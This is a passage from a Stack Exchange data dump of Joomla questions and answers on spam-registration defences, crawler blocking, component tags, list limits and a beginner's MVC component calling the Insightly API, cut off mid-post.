  <row Id="700" PostTypeId="2" ParentId="698" CreationDate="2014-05-08T15:47:58.727" Score="6" Body="&lt;p&gt;Besides setting Global config to not allow registration, I highly recommend using something like Akeeba Admin Tools. These tools provide high levels of protection for Joomla sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have had good results using CloudFlare to buffer traffic to our sites. It keeps most of the bad traffic from ever even hitting the server. But installing Akeeba Admin Tools are the first step I take with every site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing to consider is that all those spam registrations are only the tip of the iceberg. Most Joomla sites are targets for a wide range of spam and hack attempts. Those attempts consume bandwidth and server processing power. To say nothing of what happens if one of them gets into your site.&#xA; -a-&lt;/p&gt;&#xA;" OwnerUserId="94" LastActivityDate="2014-05-08T15:47:58.727" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="701" PostTypeId="2" ParentId="698" CreationDate="2014-05-08T16:58:37.387" Score="3" Body="&lt;p&gt;In addition to the other answers, a few more ideas in the case you still need the registration on your website: &#xA;You could set up a custom registration form, with enabled other antispam features like captcha and hidden fields, add extra validation fields, set-up ip block  by countries, if your website is not intended for specific countries only.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-05-08T21:51:44.047" LastActivityDate="2014-05-08T21:51:44.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="702" PostTypeId="2" ParentId="696" CreationDate="2014-05-08T18:00:54.813" Score="4" Body="&lt;p&gt;You could add this code to the top of Joomla's index.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(strcmp($_SERVER['REQUEST_URI'], '/index.php') == 0 &amp;amp;&amp;amp; $_SERVER['QUERY_STRING'] == ''){&#xA;    header(&quot;HTTP/1.1 301 Moved Permanently&quot;);&#xA;    header('Location: /');&#xA;    exit;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Be careful though, if you take this approach, you'll need to redo this when you upgrade.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2014-05-08T18:00:54.813" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="703" PostTypeId="2" ParentId="698" CreationDate="2014-05-08T19:38:23.280" Score="5" Body="&lt;p&gt;Try it whit recaptcha to protect your site against spam registrants:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to this Link and follow and create your recaptcha keys&#xA;&lt;a href=&quot;https://www.google.com/recaptcha/intro/index.html&quot;&gt;https://www.google.com/recaptcha/intro/index.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Go to &lt;a href=&quot;http://youdomain.xyz/administrator/index.php?option=com_plugins&quot;&gt;http://youdomain.xyz/administrator/index.php?option=com_plugins&lt;/a&gt; and activate the recaptcha Plugin and put your private and public keys in the plugin settings&lt;/li&gt;&#xA;&lt;li&gt;Then go to &lt;a href=&quot;http://youdomain.xyz/administrator/index.php?option=com_config&quot;&gt;http://youdomain.xyz/administrator/index.php?option=com_config&lt;/a&gt; and set your Default Captcha to recaptcha&lt;/li&gt;&#xA;&lt;li&gt;Then check &lt;a href=&quot;http://youdomain.xyz/administrator/index.php?option=com_config&amp;amp;view=component&amp;amp;component=com_users&quot;&gt;http://youdomain.xyz/administrator/index.php?option=com_config&amp;amp;view=component&amp;amp;component=com_users&lt;/a&gt; if the Captcha Setting is &quot;Default or recaptcha&quot;&lt;/li&gt;&#xA;&lt;li&gt;Check &lt;a href=&quot;http://youdomain.xyz/index.php?option=com_users&quot;&gt;http://youdomain.xyz/index.php?option=com_users&lt;/a&gt; if the captcha works&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="268" LastActivityDate="2014-05-08T19:38:23.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="704" PostTypeId="2" ParentId="694" CreationDate="2014-05-08T19:51:21.857" Score="4" Body="&lt;p&gt;If you're just looking to make it work, the links @Lodder provided will help massively when dealing with deprecated code.  A bunch of 3.x code was backported while working on 2.5.5, so if you're only supporting that version or later, you could theoretically get a component working on both 2.5 and the 3.x releases with relative ease.  What isn't documented is the layout changes that came with the switch to Bootstrap; you'll need to use the core components as a model for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're looking to add support for 3.x features (like tags or content history), you'll need to do some more work.  These links will help you integrate support for those features:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/Using_Content_History_in_your_Component&quot; rel=&quot;nofollow&quot;&gt;Using Content History in your Component&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/J3.3%3aHow_To_Use_Content_Tags_in_Joomla!&quot; rel=&quot;nofollow&quot;&gt;How To Use Content Tags in Joomla!&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="111" LastActivityDate="2014-05-08T19:51:21.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="705" PostTypeId="1" AcceptedAnswerId="807" CreationDate="2014-05-08T20:26:37.780" Score="5" ViewCount="203" Body="&lt;p&gt;This is not a question about indexers, most of them obey &lt;strong&gt;robots.txt&lt;/strong&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But maybe you noticed publicized cases where &lt;strong&gt;Facebook&lt;/strong&gt; or &lt;strong&gt;Skype&lt;/strong&gt; followed URL's posted by users or which were sent via private instant message using these platforms. I believe these two are not (or soon won't be) alone doing this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that their visit to specific URL doesn't necessarily need to obey &lt;strong&gt;robots.txt&lt;/strong&gt; and they might perform 'backup' of text what they see. Although I manage quite standard sites (non-profit orgs, hobby, blog), I don't like this 'ultimate marketing tool' (this was the best assumption what it is). Therefore I'm thinking of elegant way of avoiding such a sniffing/crawling coming from these sites after they get the link. Something like&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;the entire page is not displayed until a human test is passed (then a cookie is set so this is not needed any more) – OR –&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the site is accessible (page with all modules is present etc., no problem with article titles published in them) but main article content (com_content) is initially empty and auto-replaced using &lt;a href=&quot;http://en.wikipedia.org/wiki/Ajax_%28programming%29&quot; rel=&quot;noreferrer&quot;&gt;Ajax&lt;/a&gt; shortly&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Do you have any ideas how to implement prevention against these crawlers so they won't get any/some content of your site's URL they visited?&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2014-05-08T21:08:09.273" LastActivityDate="2014-05-13T22:47:43.583" Title="Stop robots from getting site/article content" Tags="|security|ajax|view|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="706" PostTypeId="1" AcceptedAnswerId="708" CreationDate="2014-05-08T20:57:19.977" Score="10" ViewCount="433" Body="&lt;p&gt;I'm looking to get tags working inside of an extension. I saw &lt;a href=&quot;http://docs.joomla.org/Tag_form_field_type&quot;&gt;&lt;strong&gt;this&lt;/strong&gt;&lt;/a&gt; and have gotten the field to appear in the edit view, but of course it doesn't save anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at com_content article tag handling, it goes through a thorough mapping exchange before the relationship is complete. So I see it builds the tag-to-content relationship inside of &lt;code&gt;#__contentitem_tag_map&lt;/code&gt;. Would I need to make a new table like this in my component specifically for tags or is this just the way com_contant handles it and I can get tags to save into just a column like any other field type?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would I need to do this for the extension, or is there something I'm not utilizing that would make the process considerably more simple? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps a &quot;concise adding tags to your extension 101&quot; maybe useful. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't seen anything specifically through any of the docs mentioning tags in this context, but in case it's relevant, I developed this extension using FOF/RAD. &lt;/p&gt;&#xA;" OwnerUserId="13" LastEditorUserId="13" LastEditDate="2014-05-08T21:12:16.810" LastActivityDate="2014-05-08T21:42:32.070" Title="Adding Tags Functionality To Existing Component" Tags="|joomla-3.x|development|component|fof|tags|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="707" PostTypeId="1" AcceptedAnswerId="711" CreationDate="2014-05-08T21:20:27.013" Score="9" ViewCount="1957" Body="&lt;p&gt;How can I add custom value to &lt;strong&gt;Site Settings&lt;/strong&gt; &gt; &lt;strong&gt;Default List Limit&lt;/strong&gt; in Joomla 3.X?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see dropdown menu with values &lt;strong&gt;5, 10, 15, 20, 25, 30, 50, 100&lt;/strong&gt; there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to add item &lt;strong&gt;500&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can be the choice &lt;strong&gt;Unlimited&lt;/strong&gt; added/implemented easily, too?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2014-05-09T07:48:25.670" Title="Pagination of lists at backend – how to add custom list size?" Tags="|cms|joomla-3.x|administrator|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="708" PostTypeId="2" ParentId="706" CreationDate="2014-05-08T21:42:32.070" Score="6" Body="&lt;p&gt;This should get you going - &lt;a href=&quot;http://docs.joomla.org/J3.3%3aHow_To_Use_Content_Tags_in_Joomla&quot; rel=&quot;noreferrer&quot;&gt;http://docs.joomla.org/J3.3%3aHow_To_Use_Content_Tags_in_Joomla&lt;/a&gt;!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Admittedly it was a little difficult to get going at first, and if you're supporting 2.5 on the same code base there are other challenges (I can link you to commits on a project when I'm not on mobile).&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2014-05-08T21:42:32.070" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="709" PostTypeId="2" ParentId="705" CreationDate="2014-05-08T22:22:03.653" Score="3" Body="&lt;p&gt;One method would be to block accesses from crawlers, though this depends on being able to identify them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following article has some good examples of how to enhance the Joomla security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Htaccess_examples_%28security%29&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Htaccess_examples_%28security%29&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One method is to use the HTTP_REFERER attribute to block access for example to images unless they are loaded from a page on your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another is to use the HTTP_USER_AGENT attribute to block access to particular engines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To determine additional the HTTP_USER_AGENT strings you would need to inspect your access logs, or, what I've done on one occasion is to modify the Redirect extension to add the HTTP_USER_AGENT in the comment.&lt;/p&gt;&#xA;" OwnerUserId="127" LastActivityDate="2014-05-08T22:22:03.653" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="710" PostTypeId="2" ParentId="705" CreationDate="2014-05-08T23:14:28.363" Score="3" Body="&lt;p&gt;If you don't want content to be publicly accessible then use Joomla's ACL to restrict access, removing access for the default (public) usergroup. If you don't do that, or something similar, then your content is &lt;em&gt;public&lt;/em&gt;, people can see it, bots can see it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want your content viewed by anyone, &lt;em&gt;don't publish it to the world&lt;/em&gt;. If you do publish it to the world you don't get to have much say in who views it.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2014-05-08T23:14:28.363" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="711" PostTypeId="2" ParentId="707" CreationDate="2014-05-09T01:17:42.883" Score="6" Body="&lt;p&gt;The backend setting doesn't show the &quot;All&quot; option that is presented when a List Limit item is shown in paginated view but it does exist. So, you shouldn't need an &quot;Unlimited&quot; option in the configuration as it's added to the limit list when the pagination object is created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. you can see the &quot;All&quot; option at the bottom of this selector.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ALjlg.png&quot; alt=&quot;Joomla 3.3 Pagination Limit Selector&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not aware of a direct way, in the past we've hacked the core but we don't recommend that due the issues this causes when you apply updates down track. I'm guessing you want a persistent modification that won't be over-written by any Joomla updates that will be released in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is just speculation, but, you will probably need to write a system/content plugin to modify Joomla's behaviour in two places,first the &lt;code&gt;com_config&lt;/code&gt; form for the Joomla application (&lt;code&gt;application.xml&lt;/code&gt;), you will need to add the extra value(s) you want to the form element &lt;code&gt;list_limit&lt;/code&gt;. I'd probably start by trying the &lt;code&gt;onBeforeRender&lt;/code&gt; or &lt;code&gt;onContentPrepareForm&lt;/code&gt; triggers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, I imagine you will need to modify the JPagination object so that it also shows your additional value(s). As pagination objects are used in manager view (at least in the backend) I'm not sure which event you would want to capture, I'd investigate &lt;code&gt;onAfterInitialise&lt;/code&gt;, &lt;code&gt;onAfterRoute&lt;/code&gt;, &lt;code&gt;onBeforeRender&lt;/code&gt;, &lt;code&gt;onContentPrepare&lt;/code&gt; and &lt;code&gt;onContentBeforeDisplay&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those first three triggers are very early on in the apps life, but I'm not sure how early/late you can make the changes you need.&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2014-05-09T01:17:42.883" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="712" PostTypeId="2" ParentId="673" CreationDate="2014-05-09T03:19:01.290" Score="2" Body="&lt;p&gt;With the remote backup you want to switch to breaking the archive up into chunks. You need to experiment with the server set up you have. Basically php and FTP timeout and so you loose all the upload if not finished. start with 100MB and then go up or down if it works or not. I think we got up to 300-500MB on last site we did this to FTP back to an office server from remote. As most of our sites are 1-2GB with all the large images they use in promotion galleries.&lt;/p&gt;&#xA;" OwnerUserId="109" LastActivityDate="2014-05-09T03:19:01.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="713" PostTypeId="1" AcceptedAnswerId="715" CreationDate="2014-05-09T04:01:48.693" Score="2" ViewCount="3966" Body="&lt;p&gt;I am just starting with Joomla component development and MVC in general. Im also not incredibly strong in PHP but I am trying to build a component that gets json and displays it as a jQuery accordion list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started by creating a PHP script that does just that and it works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now Im on the component part and the mvc is tripping me up. I adapted the hello world component in the docs tutorial found here: &lt;a href=&quot;http://docs.joomla.org/Developing_a_Model-View-Controller_Component/3.1/Introduction&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Developing_a_Model-View-Controller_Component/3.1/Introduction&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I install the component and go to my component I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Call to undefined function getProject() in /[path to joomla]/components/com_insightly/views/insightly/view.html.php on line 23&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So my view cant use a function I defined in my model. I must be missing something because I thought the controller assigned the model to the view auto-magically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is some source, (sorry im not indenting 8 spaces on each line manually)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;site\models\insightly.php&#xA;    &#xA;&#xA;&lt;pre&gt;&lt;code&gt;// import Joomla modelitem library&#xA;jimport('joomla.application.component.modelitem');&#xA;&#xA;&#xA;class InsightlyModelInsightly extends JModelItem&#xA;{&#xA;&#xA;public function getProject($user_id)&#xA;{&#xA;&#xA;    $project_url = 'https://api.insight.ly/v2/projects/'.$user_id;&#xA;    $project = array();&#xA;    $html_tag = null;&#xA;    $html_class = null;&#xA;    $html_id = null;&#xA;&#xA;    $curl = curl_init($project_url);&#xA;    curl_setopt($curl, CURLOPT_HTTPHEADER, array(&#xA;            'Content-Type: application/json',&#xA;            'Authorization: Basic NotGonnaShareThatNowAmI')&#xA;    );&#xA;    curl_setopt($curl, CURLOPT_HEADER, 0);&#xA;    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);&#xA;&#xA;    $curl_response = curl_exec($curl);&#xA;    if ($curl_response){&#xA;        $decoded = json_decode($curl_response, true);&#xA;        $i = 0;&#xA;        foreach ($decoded as $key=&amp;gt;$value){&#xA;            // Eliminates Empty Fields and Saves to Multi-Dimensional Array&#xA;            if ($value){&#xA;                $value = id_mask($value);&#xA;            }&#xA;            switch($key)&#xA;            {&#xA;                case &quot;PROJECT_NAME&quot;:&#xA;                    $key = null;&#xA;                    $html_tag = &quot;h1&quot;;&#xA;                    break;&#xA;                case &quot;STATUS&quot;:&#xA;                    $key = &quot;Status&quot;;&#xA;                    $html_tag = &quot;li&quot;;&#xA;                    break;&#xA;                case &quot;PROJECT_DETAILS&quot;:&#xA;                    $key = &quot;Description&quot;;&#xA;                    $html_tag = &quot;li&quot;;&#xA;                    break;&#xA;                case &quot;RESPONSIBLE_USER_ID&quot;:&#xA;                    $key = &quot;Project Manager&quot;;&#xA;                    $html_tag = &quot;li&quot;;&#xA;                    break;&#xA;                case &quot;CATEGORY_ID&quot;:&#xA;                    $key = &quot;Category&quot;;&#xA;                    $html_tag = &quot;li&quot;;&#xA;                    break;&#xA;                default:&#xA;                    $value = null;&#xA;            }&#xA;            if ($value){&#xA;                $field = [$key, $value, $html_tag, $html_class, $html_id];&#xA;                $project[$i] = $field;&#xA;                $i++;&#xA;            }&#xA;        }&#xA;&#xA;        return $project;&#xA;    }&#xA;    else {&#xA;        die('An error occurred retrieving Projects. Additional info: ' . curl_error($curl));&#xA;    }&#xA;    curl_close($curl);&#xA;}&#xA;&#xA;public function getActiveTasks($user_id){&#xA;&#xA;    $project_tasks = getTasks($user_id);&#xA;    $tasks = loopAndFind($project_tasks, 'STATUS', 'IN PROGRESS');&#xA;    $i = 0;&#xA;    foreach ($tasks as $key=&amp;gt;$value){&#xA;        $active_tasks[$i] = taskStyler($key, $value);&#xA;        $i++;&#xA;    }&#xA;&#xA;    return $active_tasks;&#xA;}&#xA;&#xA;public function getCompletedTasks($user_id){&#xA;&#xA;    $project_tasks = getTasks($user_id);&#xA;    $tasks = loopAndFind($project_tasks, 'STATUS', 'COMPLETED');&#xA;    $i = 0;&#xA;    foreach ($tasks as $key=&amp;gt;$value){&#xA;        $completed_tasks[$i] = taskStyler($key, $value);&#xA;        $i++;&#xA;    }&#xA;    return $completed_tasks;&#xA;}&#xA;&#xA;function getTasks($user_id){&#xA;&#xA;    $task_url = 'https://api.insight.ly/v2/tasks';&#xA;&#xA;    $curl = curl_init($task_url);&#xA;    curl_setopt($curl, CURLOPT_HTTPHEADER, array(&#xA;            'Content-Type: application/json',&#xA;            'Authorization: Basic NotGonnaShareThatNowAmI')&#xA;    );&#xA;    curl_setopt($curl, CURLOPT_HEADER, 0);&#xA;    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);&#xA;&#xA;    $curl_response = curl_exec($curl);&#xA;    if ($curl_response){&#xA;        $decoded = json_decode($curl_response, true);&#xA;        $project_tasks = loopAndFind($decoded, 'PROJECT_ID', $user_id);&#xA;        return $project_tasks;&#xA;    }&#xA;    else {&#xA;        die('An Error occurred retrieving Tasks. Additional info: ' . curl_error($curl));&#xA;    }&#xA;    curl_close($curl);&#xA;}&#xA;&#xA;//Search Tool for Multi-Dimensional Arrays&#xA;function loopAndFind($array, $index, $search){&#xA;    $returnArray = array();&#xA;    foreach($array as $k=&amp;gt;$v){&#xA;        if($v[$index] == $search){&#xA;            $returnArray[] = $v;&#xA;        }&#xA;    }&#xA;    return $returnArray;&#xA;}&#xA;&#xA;//Formats dates as d/m/Y and removes the time&#xA;function date_formatter($value){&#xA;    date_default_timezone_set('America/New_York');&#xA;    $date = date_create($value);&#xA;    $value = date_format($date, &quot;m/d/Y&quot;);&#xA;    return $value;&#xA;}&#xA;&#xA;//Returns array with ALLCAPS corrected and html tags&#xA;function taskStyler ($key, $value){&#xA;    $html_tag = &quot;li&quot;;&#xA;    $html_class = null;&#xA;    $html_id = null;&#xA;&#xA;    switch ($key)&#xA;    {&#xA;        case &quot;Title&quot;:&#xA;            $key = &quot;Task&quot;;&#xA;            $html_tag = &quot;h3&quot;;&#xA;            break;&#xA;        case &quot;DUE_DATE&quot;:&#xA;            $key = &quot;Due Date&quot;;&#xA;            $value = date_formatter($value);&#xA;            break;&#xA;        case &quot;COMPLETED_DATE_UTC&quot;:&#xA;            $key = &quot;Date Completed&quot;;&#xA;            $value = date_formatter($value);&#xA;            break;&#xA;        case &quot;DETAILS&quot;:&#xA;            $key = &quot;Details&quot;;&#xA;            $value = strip_tags($value);&#xA;            break;&#xA;        case &quot;STATUS&quot;:&#xA;            $key = &quot;Status&quot;;&#xA;            break;&#xA;        case &quot;PERCENT_COMPLETE&quot;:&#xA;            $key = &quot;Percent Complete&quot;;&#xA;            $value = $value . &quot;&amp;amp;#37;&quot;;&#xA;            break;&#xA;        case &quot;START_DATE&quot;:&#xA;            $key = &quot;Start Date&quot;;&#xA;            $value = date_formatter($value);&#xA;            break;&#xA;        case &quot;RESPONSIBLE_USER_ID&quot;:&#xA;            $key = &quot;Assigned to&quot;;&#xA;            $value = id_mask($value);&#xA;            break;&#xA;        default:&#xA;            $value = null;&#xA;    }&#xA;    if ($value){&#xA;        $task = [$key, $value, $html_tag, $html_class, $html_id];&#xA;    }&#xA;    else {&#xA;        $task = null;&#xA;    }&#xA;    return $task;&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;site\views\insightly\view.html.php&#xA;    &#xA;&#xA;&lt;pre&gt;&lt;code&gt;// import Joomla view library&#xA;jimport('joomla.application.component.view');&#xA;&#xA;/**&#xA;* HTML View class for the Insightly Component&#xA;*/&#xA;&#xA;class InsightlyViewInsightly extends JViewLegacy&#xA;{&#xA;&#xA;// Overwriting JView display method&#xA;function display($tpl = null)&#xA;{&#xA;    $user =&amp;amp; JFactory::getUser();&#xA;    $user_id = $user-&amp;gt;get( 'id' );&#xA;    $user_id= &quot;765727&quot;;     //Set for Development&#xA;&#xA;    // Assign data to the view&#xA;    $this-&amp;gt;project = getProject($user_id);&#xA;    $this-&amp;gt;active_tasks = getActiveTasks($user_id);&#xA;    $this-&amp;gt;completed_tasks = getCompletedTasks($user_id);&#xA;&#xA;&#xA;    parent::display($tpl);&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;controller.php (which is empty)&#xA;    &#xA;&#xA;&lt;pre&gt;&lt;code&gt;// import Joomla controller library&#xA;jimport('joomla.application.component.controller');&#xA;&#xA;/**&#xA;* Insightly Component Controller&#xA;*/&#xA;class InsightlyController extends JControllerLegacy&#xA;{&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;site\insightly.php    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// No direct access to this file&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;// import joomla controller library&#xA;jimport('joomla.application.component.controller');&#xA;&#xA;// Get an instance of the controller prefixed by Insightly&#xA;$controller = JControllerLegacy::getInstance('Insightly');&#xA;&#xA;// Perform the Request task&#xA;$input = JFactory::getApplication()-&amp;gt;input;&#xA;$controller-&amp;gt;execute($input-&amp;gt;getCmd('task'));&#xA;&#xA;// Redirect if set by the controller&#xA;$controller-&amp;gt;redirect();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;site\views\insightly\tmpl\default.php&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;article id='project'&amp;gt;&#xA;&amp;lt;?php&#xA;$iterations = count($this-&amp;gt;project);&#xA;for ($i = 0; $i &amp;lt;= $iterations; $i++) {&#xA;    echo('&amp;lt;' . $this-&amp;gt;project[2]);&#xA;    if (isset($this-&amp;gt;project[3])) {&#xA;        echo('class =&quot;' . $this-&amp;gt;project[3]);&#xA;    }&#xA;    if (isset($this-&amp;gt;project[4])) {&#xA;        echo('class =&quot;' . $this-&amp;gt;project[4]);&#xA;    }&#xA;    echo('&amp;gt;');&#xA;    echo($this-&amp;gt;project[0]);&#xA;    echo(' : ');&#xA;    echo($this-&amp;gt;project[1]);&#xA;    echo('&amp;lt;/' . $this-&amp;gt;project[2] . '&amp;gt;');&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;div id='tasks'&amp;gt;&#xA;    &amp;lt;h2&amp;gt;Active Tasks&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;section class='tasks'&amp;gt;&#xA;        &amp;lt;?php&#xA;        $number_of_tasks = count($this-&amp;gt;active_tasks);&#xA;        for ($i = 0; $i &amp;lt;= $number_of_tasks; $i++) {&#xA;            $task_iterations = count($this-&amp;gt;active_tasks[$i]);&#xA;            for ($i = 0; $i &amp;lt;= $task_iterations; $i++) {&#xA;                echo('&amp;lt;' . $this-&amp;gt;active_tasks[$i][2]);&#xA;                if (isset($this-&amp;gt;active_tasks[$i][3])) {&#xA;                    echo('class =&quot;' . $this-&amp;gt;active_tasks[$i][3]);&#xA;                }&#xA;                if (isset($this-&amp;gt;active_tasks[$i][4])) {&#xA;                    echo('class =&quot;' . $this-&amp;gt;active_tasks[$i][4]);&#xA;                }&#xA;                echo('&amp;gt;');&#xA;                echo($this-&amp;gt;active_tasks[$i][0]);&#xA;                echo(' : ');&#xA;                echo($this-&amp;gt;active_tasks[$i][1]);&#xA;                echo('&amp;lt;/' . $this-&amp;gt;active_tasks[$i][2] . '&amp;gt;');&#xA;            }&#xA;        }&#xA;        ?&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&#xA;    &amp;lt;h2&amp;gt;Completed Tasks&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;section class='tasks'&amp;gt;&#xA;        &amp;lt;?php&#xA;        $number_of_tasks = count($this-&amp;gt;completed_tasks);&#xA;        for ($i = 0; $i &amp;lt;= $number_of_tasks; $i++) {&#xA;            $task_iterations = count($this-&amp;gt;completed_tasks[$i]);&#xA;            for ($i = 0; $i &amp;lt;= $task_iterations; $i++) {&#xA;                echo('&amp;lt;' . $this-&amp;gt;completed_tasks[$i][2]);&#xA;                if (isset($this-&amp;gt;completed_tasks[$i][3])) {&#xA;                    echo('class =&quot;' . $this-&amp;gt;completed_tasks[$i][3]);&#xA;                }&#xA;                if (isset($this-&amp;gt;completed_tasks[$i][4])) {&#xA;                    echo('class =&quot;' . $this-&amp;gt;completed_tasks[$i][4]);&#xA;                }&#xA;                echo('&amp;gt;');&#xA;                echo($this-&amp;gt;completed_tasks[$i][0]);&#xA;                echo(' : ');&#xA;                echo($this-&amp;gt;completed_tasks[$i][1]);&#xA;                echo('&amp;lt;/' . $this-&amp;gt;completed_tasks[$i][2] . '&amp;gt;');&#xA;            }&#xA;        }&#xA;        ?&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/article&amp;gt;&#xA;&#xA;&amp;lt;script src=&quot;http://code.jquery.com/jquery-1.10.2.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;http://code.jquery.com/ui/1.10.4/jquery-ui.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;    $(function () {&#xA;        $(&quot;.tasks&quot;).accordion({ collapsible: true, active: false });&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any insight on why I cant get to my models function? Also I welcome the pointing out of any  other blaring mistakes and security flaws. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: the idMask function was removed in my post due to sensitive content. It is probably not the issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I have the component loading now and have updated the code but I'm having trouble with the arrays. &lt;code&gt;taskStyler&lt;/code&gt; should return an array to be set to &lt;code&gt;$completed_tasks[i]&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;completed_tasks[0][0]&lt;/code&gt; is correct but &lt;code&gt;completed_tasks[0][1]&lt;/code&gt; contains an array composed of what should be&lt;code&gt;completed_tasks[0][1-12]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my current version of the relevant functions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Calls &lt;code&gt;getTasks&lt;/code&gt; and compiles array of tasks that are in progress&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getActiveTasks($user_id){&#xA;&#xA;    $project_tasks = $this-&amp;gt;getTasks($user_id);&#xA;    $tasks = $this-&amp;gt;loopAndFind($project_tasks, 'STATUS', 'IN PROGRESS');&#xA;    $i = 0;&#xA;    foreach ($tasks as $key=&amp;gt;$value){&#xA;            $active_tasks[$i] = $this-&amp;gt;taskStyler($key, $value);&#xA;            $i++;&#xA;    }&#xA;    return 